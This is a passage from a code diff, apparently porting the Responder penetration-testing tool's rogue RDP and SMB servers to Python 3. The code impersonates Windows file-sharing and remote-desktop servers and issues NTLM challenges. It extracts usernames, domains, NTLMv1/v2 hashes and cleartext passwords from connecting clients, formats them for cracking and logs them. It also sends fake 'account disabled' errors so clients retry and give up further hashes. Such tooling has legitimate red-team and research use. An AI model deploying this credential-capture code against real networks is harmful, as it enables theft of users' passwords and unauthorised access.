'fullhash': WriteHash,
|
'fullhash': WriteHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|
||||||
def FindNTLMNegoStep(data):
|
def FindNTLMNegoStep(data):
|
||||||
NTLMStart = data.find('NTLMSSP')
|
NTLMStart = data.find(b'NTLMSSP')
|
||||||
NTLMString = data[NTLMStart:]
|
NTLMString = data[NTLMStart:]
|
||||||
NTLMStep = NTLMString[8:12]
|
NTLMStep = NTLMString[8:12]
|
||||||
if NTLMStep == "\x01\x00\x00\x00":
|
if NTLMStep == b'\x01\x00\x00\x00':
|
||||||
return NTLMStep
|
return NTLMStep
|
||||||
if NTLMStep == "\x03\x00\x00\x00":
|
if NTLMStep == b'\x03\x00\x00\x00':
|
||||||
return NTLMStep
|
return NTLMStep
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
@ -90,42 +98,42 @@ class RDP(BaseRequestHandler):
|
||||||
self.request.settimeout(30)
|
self.request.settimeout(30)
|
||||||
Challenge = RandomChallenge()
|
Challenge = RandomChallenge()
|
||||||
|
|
||||||
if data[11:12] == "\x01":
|
if data[11:12] == b'\x01':
|
||||||
x = X224(Data=RDPNEGOAnswer())
|
x = X224(Data=RDPNEGOAnswer())
|
||||||
x.calculate()
|
x.calculate()
|
||||||
h = TPKT(Data=x)
|
h = TPKT(Data=x)
|
||||||
h.calculate()
|
h.calculate()
|
||||||
buffer1 = str(h)
|
buffer1 = str(h)
|
||||||
self.request.send(buffer1)
|
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
||||||
SSLsock.settimeout(30)
|
SSLsock.settimeout(30)
|
||||||
data = SSLsock.read(8092)
|
data = SSLsock.read(8092)
|
||||||
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
|
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
||||||
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
|
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
x.calculate()
|
x.calculate()
|
||||||
SSLsock.write(str(x))
|
SSLsock.write(NetworkSendBufferPython2or3(x))
|
||||||
data = SSLsock.read(8092)
|
data = SSLsock.read(8092)
|
||||||
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
|
if FindNTLMNegoStep(data) == b'\x03\x00\x00\x00':
|
||||||
ParseNTLMHash(data,self.client_address[0], Challenge)
|
ParseNTLMHash(data,self.client_address[0], Challenge)
|
||||||
|
|
||||||
##Sometimes a client sends a routing cookie; we don't want to miss that let's look at it the other way around..
|
##Sometimes a client sends a routing cookie; we don't want to miss that let's look at it the other way around..
|
||||||
if data[len(data)-4:] == "\x03\x00\x00\x00":
|
if data[len(data)-4:] == b'\x03\x00\x00\x00':
|
||||||
x = X224(Data=RDPNEGOAnswer())
|
x = X224(Data=RDPNEGOAnswer())
|
||||||
x.calculate()
|
x.calculate()
|
||||||
h = TPKT(Data=x)
|
h = TPKT(Data=x)
|
||||||
h.calculate()
|
h.calculate()
|
||||||
buffer1 = str(h)
|
buffer1 = str(h)
|
||||||
self.request.send(buffer1)
|
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||||
data = self.request.recv(8092)
|
data = self.request.recv(8092)
|
||||||
|
|
||||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
||||||
data = SSLsock.read(8092)
|
data = SSLsock.read(8092)
|
||||||
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
|
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
||||||
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
|
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
x.calculate()
|
x.calculate()
|
||||||
SSLsock.write(str(x))
|
SSLsock.write(NetworkSendBufferPython2or3(x))
|
||||||
data = SSLsock.read(8092)
|
data = SSLsock.read(8092)
|
||||||
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
|
if FindNTLMNegoStep(data) == b'\x03\x00\x00\x00':
|
||||||
ParseNTLMHash(data,self.client_address[0], Challenge)
|
ParseNTLMHash(data,self.client_address[0], Challenge)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
|
220
servers/SMB.py
220
servers/SMB.py
|
@ -14,12 +14,15 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import struct, re
|
||||||
|
import codecs
|
||||||
|
from utils import *
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler
|
||||||
from random import randrange
|
from random import randrange
|
||||||
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data
|
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data
|
||||||
from SocketServer import BaseRequestHandler
|
|
||||||
from utils import *
|
|
||||||
import struct
|
|
||||||
import re
|
|
||||||
|
|
||||||
|
|
||||||
def Is_Anonymous(data): # Detect if SMB auth was Anonymous
|
def Is_Anonymous(data): # Detect if SMB auth was Anonymous
|
||||||
|
@ -43,30 +46,25 @@ def Parse_Nego_Dialect(data):
|
||||||
if Dialect[i] == 'NT LM 0.12':
|
if Dialect[i] == 'NT LM 0.12':
|
||||||
return chr(i) + '\x00'
|
return chr(i) + '\x00'
|
||||||
|
|
||||||
|
|
||||||
def midcalc(data): #Set MID SMB Header field.
|
def midcalc(data): #Set MID SMB Header field.
|
||||||
return data[34:36]
|
return data[34:36]
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def uidcalc(data): #Set UID SMB Header field.
|
def uidcalc(data): #Set UID SMB Header field.
|
||||||
return data[32:34]
|
return data[32:34]
|
||||||
|
|
||||||
|
|
||||||
def pidcalc(data): #Set PID SMB Header field.
|
def pidcalc(data): #Set PID SMB Header field.
|
||||||
pack=data[30:32]
|
pack=data[30:32]
|
||||||
return pack
|
return pack
|
||||||
|
|
||||||
|
|
||||||
def tidcalc(data): #Set TID SMB Header field.
|
def tidcalc(data): #Set TID SMB Header field.
|
||||||
pack=data[28:30]
|
pack=data[28:30]
|
||||||
return pack
|
return pack
|
||||||
|
|
||||||
def ParseShare(data):
|
def ParseShare(data):
|
||||||
packet = data[:]
|
packet = data[:]
|
||||||
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
a = re.search(b'(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
||||||
if a:
|
if a:
|
||||||
print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE'))
|
print(text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE')))
|
||||||
|
|
||||||
def GrabMessageID(data):
|
def GrabMessageID(data):
|
||||||
Messageid = data[28:36]
|
Messageid = data[28:36]
|
||||||
|
@ -74,8 +72,8 @@ def GrabMessageID(data):
|
||||||
|
|
||||||
def GrabCreditRequested(data):
|
def GrabCreditRequested(data):
|
||||||
CreditsRequested = data[18:20]
|
CreditsRequested = data[18:20]
|
||||||
if CreditsRequested == "\x00\x00":
|
if CreditsRequested == b'\x00\x00':
|
||||||
CreditsRequested = "\x01\x00"
|
CreditsRequested = b'\x01\x00'
|
||||||
else:
|
else:
|
||||||
CreditsRequested = data[18:20]
|
CreditsRequested = data[18:20]
|
||||||
return CreditsRequested
|
return CreditsRequested
|
||||||
|
@ -89,23 +87,25 @@ def GrabSessionID(data):
|
||||||
return SessionID
|
return SessionID
|
||||||
|
|
||||||
def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
|
def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
|
||||||
SSPIStart = data.find('NTLMSSP')
|
SSPIStart = data.find(b'NTLMSSP')
|
||||||
SSPIString = data[SSPIStart:]
|
SSPIString = data[SSPIStart:]
|
||||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||||
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||||
|
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||||
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||||
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||||
|
|
||||||
if NthashLen == 24:
|
if NthashLen == 24:
|
||||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||||
|
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'SMB',
|
'module': 'SMB',
|
||||||
|
@ -117,14 +117,15 @@ def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
|
||||||
})
|
})
|
||||||
|
|
||||||
if NthashLen > 60:
|
if NthashLen > 60:
|
||||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||||
|
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'SMB',
|
'module': 'SMB',
|
||||||
|
@ -139,13 +140,13 @@ def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
|
||||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||||
Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
|
Username, Domain = tuple([e.decode('latin-1') for e in data[89+NthashLen:Bcc+60].split(b'\x00\x00\x00')[:2]])
|
||||||
|
|
||||||
if NthashLen > 25:
|
if NthashLen > 25:
|
||||||
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
|
FullHash = codecs.encode(data[65+LMhashLen:65+LMhashLen+NthashLen],'hex')
|
||||||
LmHash = FullHash[:32].upper()
|
LmHash = FullHash[:32].upper()
|
||||||
NtHash = FullHash[32:].upper()
|
NtHash = FullHash[32:].upper()
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash)
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), LmHash.decode('latin-1'), NtHash.decode('latin-1'))
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'SMB',
|
'module': 'SMB',
|
||||||
|
@ -157,10 +158,9 @@ def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
|
||||||
})
|
})
|
||||||
|
|
||||||
if NthashLen == 24:
|
if NthashLen == 24:
|
||||||
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
NtHash = codecs.encode(data[65+LMhashLen:65+LMhashLen+NthashLen],'hex').upper()
|
||||||
LmHash = data[65:65+LMhashLen].encode('hex').upper()
|
LmHash = codecs.encode(data[65:65+LMhashLen],'hex').upper()
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex'))
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash.decode('latin-1'), NtHash.decode('latin-1'), codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'SMB',
|
'module': 'SMB',
|
||||||
'type': 'NTLMv1',
|
'type': 'NTLMv1',
|
||||||
|
@ -184,7 +184,7 @@ def IsNT4ClearTxt(data, client):
|
||||||
if PassLen > 2:
|
if PassLen > 2:
|
||||||
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
||||||
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
||||||
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
print(text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)))
|
||||||
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
||||||
|
|
||||||
|
|
||||||
|
@ -206,84 +206,86 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
except:
|
except:
|
||||||
|
raise
|
||||||
pass
|
pass
|
||||||
|
|
||||||
##Negotiate proto answer SMBv2.
|
##Negotiate proto answer SMBv2.
|
||||||
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
|
if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data):
|
||||||
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
|
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
|
||||||
t = SMB2NegoAns()
|
t = SMB2NegoAns()
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||||
self.request.send(buffer1)
|
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
## Session Setup 1 answer SMBv2.
|
## Session Setup 1 answer SMBv2.
|
||||||
if data[16:18] == "\x00\x00" and data[4:5] == "\xfe":
|
if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe":
|
||||||
head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
|
head = SMB2Header(MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'))
|
||||||
t = SMB2NegoAns(Dialect="\x10\x02")
|
t = SMB2NegoAns(Dialect="\x10\x02")
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||||
self.request.send(buffer1)
|
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
## Session Setup 2 answer SMBv2.
|
## Session Setup 2 answer SMBv2.
|
||||||
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
|
if data[16:18] == b"\x01\x00" and data[4:5] == b"\xfe":
|
||||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
|
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), SessionID=GrabSessionID(data).decode('latin-1'),NTStatus="\x16\x00\x00\xc0")
|
||||||
t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
|
t = SMB2Session1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||||
self.request.send(buffer1)
|
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
## Session Setup 3 answer SMBv2.
|
## Session Setup 3 answer SMBv2.
|
||||||
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
|
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' and data[4:5] == b'\xfe':
|
||||||
ParseSMBHash(data, self.client_address[0], Challenge)
|
ParseSMBHash(data, self.client_address[0], Challenge)
|
||||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
|
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
|
||||||
t = SMB2Session2Data()
|
t = SMB2Session2Data()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||||
self.request.send(buffer1)
|
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
# Negotiate Protocol Response smbv1
|
# Negotiate Protocol Response smbv1
|
||||||
if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None:
|
if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None:
|
||||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)))
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
packet1 = str(Header)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||||
|
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1
|
if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # Session Setup AndX Request smbv1
|
||||||
IsNT4ClearTxt(data, self.client_address[0])
|
IsNT4ClearTxt(data, self.client_address[0])
|
||||||
|
|
||||||
# STATUS_MORE_PROCESSING_REQUIRED
|
# STATUS_MORE_PROCESSING_REQUIRED
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||||
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
||||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
|
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge), NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
|
||||||
else:
|
else:
|
||||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
|
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
packet1 = str(Header)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||||
|
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
|
|
||||||
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS
|
if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # STATUS_SUCCESS
|
||||||
if Is_Anonymous(data):
|
if Is_Anonymous(data):
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||||
Body = SMBSessEmpty()
|
Body = SMBSessEmpty()
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
packet1 = str(Header)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||||
|
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# Parse NTLMSSP_AUTH packet
|
# Parse NTLMSSP_AUTH packet
|
||||||
|
@ -291,81 +293,39 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||||
|
|
||||||
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
||||||
# Send ACCOUNT_DISABLED to get multiple hashes if there are any
|
# Send ACCOUNT_DISABLED to get multiple hashes if there are any
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||||
Body = SMBSessEmpty()
|
Body = SMBSessEmpty()
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
packet1 = str(Header)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||||
|
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
self.ntry += 1
|
self.ntry += 1
|
||||||
continue
|
continue
|
||||||
|
|
||||||
# Send STATUS_SUCCESS
|
# Send STATUS_SUCCESS
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||||
Body = SMBSession2Accept()
|
Body = SMBSession2Accept()
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
packet1 = str(Header)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||||
|
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
|
|
||||||
if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request
|
if data[8:10] == b"\x75\x00" and data[4:5] == b"\xff": # Tree Connect AndX Request
|
||||||
ParseShare(data)
|
